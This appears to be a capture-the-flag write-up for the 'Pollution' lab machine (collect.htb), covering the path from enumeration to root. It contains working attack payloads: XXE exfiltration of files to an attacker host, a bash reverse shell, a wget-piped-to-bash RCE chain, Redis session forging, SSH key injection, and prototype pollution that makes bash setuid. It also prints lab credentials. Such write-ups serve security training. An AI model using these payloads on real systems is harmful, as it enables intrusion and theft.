Save the turtles 🐢
Enumeration
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
6379/tcp open redis syn-ack ttl 63
Starting with port 80 as usual, we’re greeted with a new domain:
We can start scanning for subdomains using this:
We can’t access the developers subdomain without the correct auth. Instead we move forum
:
We find a few interesting pieces of information such as a member list with usernames:
After registering a user, we can view forum posts. We see post:
http://forum.collect.htb/showthread.php?tid=13
This contains some XML data for a request made to the pollution API:
<item>
<time>Thu Sep 22 18:29:34 BRT 2022</time>
<url><![CDATA[http://collect.htb/set/role/admin]]></url>
<host ip="192.168.1.6">collect.htb</host>
<port>80</port>
<protocol>http</protocol>
<method><![CDATA[POST]]></method>
<path><![CDATA[/set/role/admin]]></path>
<extension>null</extension>
<request base64="true"><![CDATA[UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==]]></request>
<status>302</status>
<responselength>296</responselength>
<mimetype></mimetype>
<response base64="true"><![CDATA[SFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBUaHUsIDIyIFNlcCAyMDIyIDIxOjMwOjE0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjU0IChEZWJpYW4pDQpFeHBpcmVzOiBUaHUsIDE5IE5vdiAxOTgxIDA4OjUyOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNClByYWdtYTogbm8tY2FjaGUNCkxvY2F0aW9uOiAvaG9tZQ0KQ29udGVudC1MZW5ndGg6IDANCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo=]]></response>
<comment></comment>
</item>
There’s a lot to sift through but we’ll look to just the admin request:
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
token=ddac62a28254561001277727cb397baf
We can try re-create this using our own account. It’s worth noting this is for the collect.htb domain, not the forums domain. We start by registering an account at:
http://collect.htb/register
After registering a user, grab your new PHPSESSID and pass it to the following request (this can be sent a via burpsuite’s repeater with the host configured:
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/login
Cookie: PHPSESSID=16ubr80d8m2vdjgq4atggt8i59
Upgrade-Insecure-Requests: 1
token=ddac62a28254561001277727cb397baf
After sending the request,we can now visit /admin
:
The only thing this really gives us access to is the registration form API:
Our provided data for our manage_api
parameter is however interesting:
Foothold
This is a bit of a pain, we can use XXE via requesting a dtd file from our local machine. We’ll start with creating the file and requesting index.php
:
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.205:8000/?file=%file;'>">
%eval;
%exfiltrate;
We will then load our XXE payload within our request:
manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.14.205:8000/file.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>synisl33t</username><password>synisl33t</password></user></root>
We will then get a request back to our HTTP server:
Within the decoded index file, we have a required file:
Amending our file.dtd
payload to ../bootstrap.php, we get our REDIS password:
COLLECTR3D1SPASS
We can use redis-cli and authorize using this password:
I also found a login at /var/www/developers/.htpasswd
containg a hashed password. Cracking this gives us the following login:
developers_group:r0cket
Foothold 2
We need to figure out how to get access to the developers subdomain. We can register a new user and grab our new PHPSESSID (note that our previous one was already audited so unusable for our current needs). With our cookie, we can search for it in redis:
get PHPREDIS_SESSION:8gmumi2nagk0qqfdrpv5i60p6l
Checking our response, we get a rough idea of how the role is assigned. We can try bypass auth by setting ourselves to admin then adding True to the end:
set PHPREDIS_SESSION:8gmumi2nagk0qqfdrpv5i60p6l "username|s:9:\"synisl33t\";role|s:5:\"admin\";auth|s:4:\"True\";"
Upon authenticating (my team didn’t need to do this, but if prompted enter the creds from .htpasswd), we can access the developers page and see that interestingly, pages are accessed via a ?page= parameter. This parameter is exploitable via RCE. To bypass the checks in place to prevent RCE, we can use:
https://github.com/synacktiv/php_filter_chain_generator
Generating a short one-line php script to drop a shell appears to be problematic due to the character limit. Instead, we can grab a file from our local machine and pass it to bash:
bash -i >& /dev/tcp/10.10.14.205/4443 0>&1
I saved this to a file called “s” and served it on a HTTP server, we can then generate our RCE payload using:
python3 php_filter_chain_generator.py --chain '<?= `wget -O - 10.10.14.205/s|bash` ?>'
Upon passing this to our ?page=
parameter, we get our shell
User own
This wasn’t as frustrating as the previous exploits. Running linpeas, we see php-fpm
under the cleaned processes for Victor. This is an extremely straigth forward exploit. Simply upload the following script to the box and run commands as Victor:
https://gist.githubusercontent.com/phith0n/9615e2420f31048f7e30f3937356cf75/raw/ffd7aa5b3a75ea903a0bb9cc106688da738722c5/fpm.py
Upon uploading, we need to create a file for command output. I created this in /tmp/index.php
. For the sake of simplicity, I generated an SSH key and piped the public key into Victor’s authorized keys:
python3 exp.py -c '<?php system("echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxE8/MiW5WdsLdwlM1QMT9iKs4Yn871+YAQP4xY3gUtvgXFrIUfmR6aqcmS4Pm2Uo0/aY5FnefskJvXAqBxMstds7qfL0twSdUjx7UNxBmu/wU4NrJwfUHg8nrNDfrqUjKt2uyKibh0GFkxRul/ITvMuFeb9vWFoTIzQAqflVaLNiLUeUuazL4z6XvY3GANJg0AMbjBcx81k3JNx0rydmNGtO9abwA14dOusXWnfmf2f0s8oWG8RQ5+yYLzoEbCq40m8o9suLiaXRu3Q7nx99NvRozl9Nv61VZOmLQZagYF60Fvnpz2fwCO3vXHrbKkH7TiDPqIhWUUwfaUFiQvt1aiPqL/e6VoKyPmvmZoTrrqvCKlKnH0QajF3WJH8XTrqGq+xzNKXRKYiH+Ll6h0RQ5itguRy80DRCGYdkJdIVNNmdgItH1F35nUexY12/I+GurJK3w4915E7rb6O3DlUTgr4MWgs1CrrtDPj8uh+e55fAcD2vOksmssBC4tSsH5TE= syn@parrot\" > /home/victor/.ssh/authorized_keys"); exit; ?>' 127.0.0.1 /tmp/index.php
Root own
Re-running linpeas, we see:
/usr/bin/node /root/pollution_api/index.js
We can assume this is what’s running on port 3000. We also have a copy the source code in our home directory:
Doing some source code analysis, we see potential prototype polution:
const Message = require('../models/Message');
const { decodejwt } = require('../functions/jwt');
const _ = require('lodash');
const { exec } = require('child_process');
const messages_send = async(req,res)=>{
const token = decodejwt(req.headers['x-access-token'])
if(req.body.text){
const message = {
user_sent: token.user,
title: "Message for admins",
};
_.merge(message, req.body);
exec('/home/victor/pollution_api/log.sh log_message');
Message.create({
text: JSON.stringify(message),
user_sent: token.user
});
return res.json({Status: "Ok"});
}
return res.json({Status: "Error", Message: "Parameter text not found"});
}
module.exports = { messages_send };
This occurs within:
_.merge(message, req.body);
Please see https://medium.com/node-modules/what-is-prototype-pollution-and-why-is-it-such-a-big-deal-2dd8d89a93c
for more details on this.
First, we need to amend our permissions again to become an administrator, reading models/db.js
, we find a set of credentials for the database:
const Sequelize = require('sequelize');
const sequelize = new Sequelize('pollution_api','webapp_user','Str0ngP4ssw0rdB*12@1',{
host: '127.0.0.1',
dialect: 'mysql',
define: {
charset: 'utf8',
collate: 'utf8_general_ci',
timestamps: true
},
logging: false
})
module.exports = { Sequelize, sequelize };
We have two tables, messages and users:
If you’ve reset the box between now and the start of the box like I did, you will have to re-register a user at the API login (http://collect.htb/admin
). After doing so, this will appear in the users table:
We can update this user to be an administrator:
update users set role='admin';
We can now move onto exploiting the message function. First, we need to generate a token:
curl http://127.0.0.1:3000/auth/login -H "content-type: application/json" -d '{"username":"syn","password":"syn"}'
Your response should be along the lines of:
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoic3luIiwiaXNfYXV0aCI6dHJ1ZSwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjcwMzU1NzUxLCJleHAiOjE2NzAzNTkzNTF9.NRY28xow6mq4tkhmTmYTtvlMOgb5qJZbvRS_YAYIQe4"}}
Using the following guide, we can attempt to perform RCE via the prototype polution:
https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#exec-exploitation
Compacting this to a one-line request, we get:
curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoic3luIiwiaXNfYXV0aCI6dHJ1ZSwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjcwMzU1NzUxLCJleHAiOjE2NzAzNTkzNTF9.NRY28xow6mq4tkhmTmYTtvlMOgb5qJZbvRS_YAYIQe4" -H "content-type: application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require(\"child_process\").execSync(\"chmod +s /usr/bin/bash\").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
We then run bash -p
and get root